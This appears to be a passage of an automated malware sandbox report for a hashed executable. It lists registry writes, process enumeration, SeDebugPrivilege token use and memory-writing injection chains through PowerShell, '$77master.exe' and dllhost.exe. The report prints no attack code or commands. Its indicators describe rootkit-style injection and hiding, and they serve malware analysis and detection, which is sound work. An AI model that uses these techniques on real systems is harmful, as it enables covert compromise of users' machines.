Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129 = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\419165c72f231ed688b46dd838505203525915ca0a80684b4c73a3cc420fc42c"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325 = "8324"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\24971ff0-7761-41d5	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\24971ff0-7761-41d5 = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c3162f7d-76e2-4e24	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\047bbacc-fd71-4fab	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\969ce46ee17667177e062a948ae16b524c0843babca9ea222561fbeb86fe2ee2"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\422f7a98-944b-4cbd = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\422f7a98-944b-4cbd = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7d8e939d3d6d6a9da5c2a29ec2be5757b912752820eb56286afe67a1f7296591"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\274d088b-8c80-4775	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62 = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\419165c72f231ed688b46dd838505203525915ca0a80684b4c73a3cc420fc42c"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\969ce46ee17667177e062a948ae16b524c0843babca9ea222561fbeb86fe2ee2"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c3162f7d-76e2-4e24 = 24c292d685f3da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c3162f7d-76e2-4e24 = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7f554a68bf92db8a91430c63874998bb912ab5a02523e4aa23e37ee1a8daa559"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be6838af-77cc-4fc4	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\274d088b-8c80-4775 = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7d8e939d3d6d6a9da5c2a29ec2be5757b912752820eb56286afe67a1f7296591"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\24971ff0-7761-41d5 = "\\\\?\\Volume{851C08BF-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\cd489dd0f71355abe30a4375800d6e9c6fb31a781e9d8416ca093e1af6e26975"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3fe0c656-2dba-453e = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\83d4e9b4-e83d-4b62	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be6838af-77cc-4fc4 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325 = 5a2798d585f3da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4152a8da-b78b-4325 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\047bbacc-fd71-4fab = 475b67d585f3da01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129 = 7d647ed585f3da01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000048b27dd585f3da0148b27dd585f3da0148b27dd585f3da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000155979262000376635353461363862663932646238613931343330633633383734393938626239313261623561303235323365346161323365333765653161386461613535390000b20009000400efbe15597926155979262e00000000000000000000000000000000000000000000000000b8c41100370066003500350034006100360038006200660039003200640062003800610039003100340033003000630036003300380037003400390039003800620062003900310032006100620035006100300032003500320033006500340061006100320033006500330037006500650031006100380064006100610035003500390000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ae1da4c21000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37663535346136386266393264623861393134333063363338373439393862623931326162356130323532336534616132336533376565316138646161353539000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000068766470637967730000000000000000bc1a08c028831b47b4949d85aa3b830f2abd6087d650ef11818ef2cbf1dce4a5bc1a08c028831b47b4949d85aa3b830f2abd6087d650ef11818ef2cbf1dce4a5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003400310032003600350038003300360035002d0033003000380034003800320035003300380035002d0033003300340030003700370037003600360036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000bf081c85000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6c29f6ab-7e9a-481d = 263b84d585f3da01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\274d088b-8c80-4775 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ed9d89d585f3da01ed9d89d585f3da01ed9d89d585f3da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000155979262000376438653933396433643664366139646135633261323965633262653537353762393132373532383230656235363238366166653637613166373239363539310000b20009000400efbe15597926155979262e0000000000000000000000000000000000000000000000000013d90500370064003800650039003300390064003300640036006400360061003900640061003500630032006100320039006500630032006200650035003700350037006200390031003200370035003200380032003000650062003500360032003800360061006600650036003700610031006600370032003900360035003900310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ae1da4c21000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37643865393339643364366436613964613563326132396563326265353735376239313237353238323065623536323836616665363761316637323936353931000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000068766470637967730000000000000000bc1a08c028831b47b4949d85aa3b830f2bbd6087d650ef11818ef2cbf1dce4a5bc1a08c028831b47b4949d85aa3b830f2bbd6087d650ef11818ef2cbf1dce4a5d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0032003400310032003600350038003300360035002d0033003000380034003800320035003300380035002d0033003300340030003700370037003600360036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000bf081c85000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\be6838af-77cc-4fc4 = 4140aad685f3da01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\4a799b5f-c13a-4129 = "0"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ee413aee-3aff-4cc1	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\274d088b-8c80-4775	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\274d088b-8c80-4775 = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6446cb97-7e6a-436c = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\422f7a98-944b-4cbd = "8324"	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
2728	powershell.exe
2728	powershell.exe
2340	$77master.exe
2340	$77master.exe
5092	powershell.exe
5092	powershell.exe
2340	$77master.exe
2340	$77master.exe
4480	powershell.EXE
4480	powershell.EXE
4480	powershell.EXE
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
2340	$77master.exe
2340	$77master.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	4480	powershell.EXE
Token: SeDebugPrivilege	4480	powershell.EXE
Token: SeDebugPrivilege	864	dllhost.exe
Token: SeShutdownPrivilege	724	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	724	mousocoreworker.exe
Token: SeShutdownPrivilege	724	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	724	mousocoreworker.exe
Token: SeShutdownPrivilege	2756	RuntimeBroker.exe
Token: SeAuditPrivilege	2084	svchost.exe
Token: SeShutdownPrivilege	60	dwm.exe
Token: SeCreatePagefilePrivilege	60	dwm.exe

Suspicious use of UnmapMainImage 3 IoCs

pid	Process
2716	svchost.exe
2716	svchost.exe
3576	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2728	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	90
PID 2772 wrote to memory of 2728	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	90
PID 2772 wrote to memory of 2728	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	90
PID 2772 wrote to memory of 2452	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	95
PID 2772 wrote to memory of 2452	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	95
PID 2772 wrote to memory of 2452	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	95
PID 2772 wrote to memory of 2340	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	102
PID 2772 wrote to memory of 2340	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	102
PID 2772 wrote to memory of 2340	2772	8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe	102
PID 2340 wrote to memory of 5092	2340	$77master.exe	105
PID 2340 wrote to memory of 5092	2340	$77master.exe	105
PID 2340 wrote to memory of 5092	2340	$77master.exe	105
PID 2340 wrote to memory of 3520	2340	$77master.exe	107
PID 2340 wrote to memory of 3520	2340	$77master.exe	107
PID 2340 wrote to memory of 3520	2340	$77master.exe	107
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 4480 wrote to memory of 864	4480	powershell.EXE	110
PID 864 wrote to memory of 608	864	dllhost.exe	5
PID 864 wrote to memory of 672	864	dllhost.exe	7
PID 864 wrote to memory of 952	864	dllhost.exe	12
PID 864 wrote to memory of 60	864	dllhost.exe	13
PID 864 wrote to memory of 388	864	dllhost.exe	14
PID 864 wrote to memory of 1036	864	dllhost.exe	16
PID 864 wrote to memory of 1132	864	dllhost.exe	17
PID 864 wrote to memory of 1140	864	dllhost.exe	18
PID 864 wrote to memory of 1148	864	dllhost.exe	19
PID 864 wrote to memory of 1156	864	dllhost.exe	20
PID 864 wrote to memory of 1236	864	dllhost.exe	21
PID 864 wrote to memory of 1284	864	dllhost.exe	22
PID 864 wrote to memory of 1316	864	dllhost.exe	23
PID 864 wrote to memory of 1416	864	dllhost.exe	24
PID 864 wrote to memory of 1444	864	dllhost.exe	25
PID 864 wrote to memory of 1572	864	dllhost.exe	26
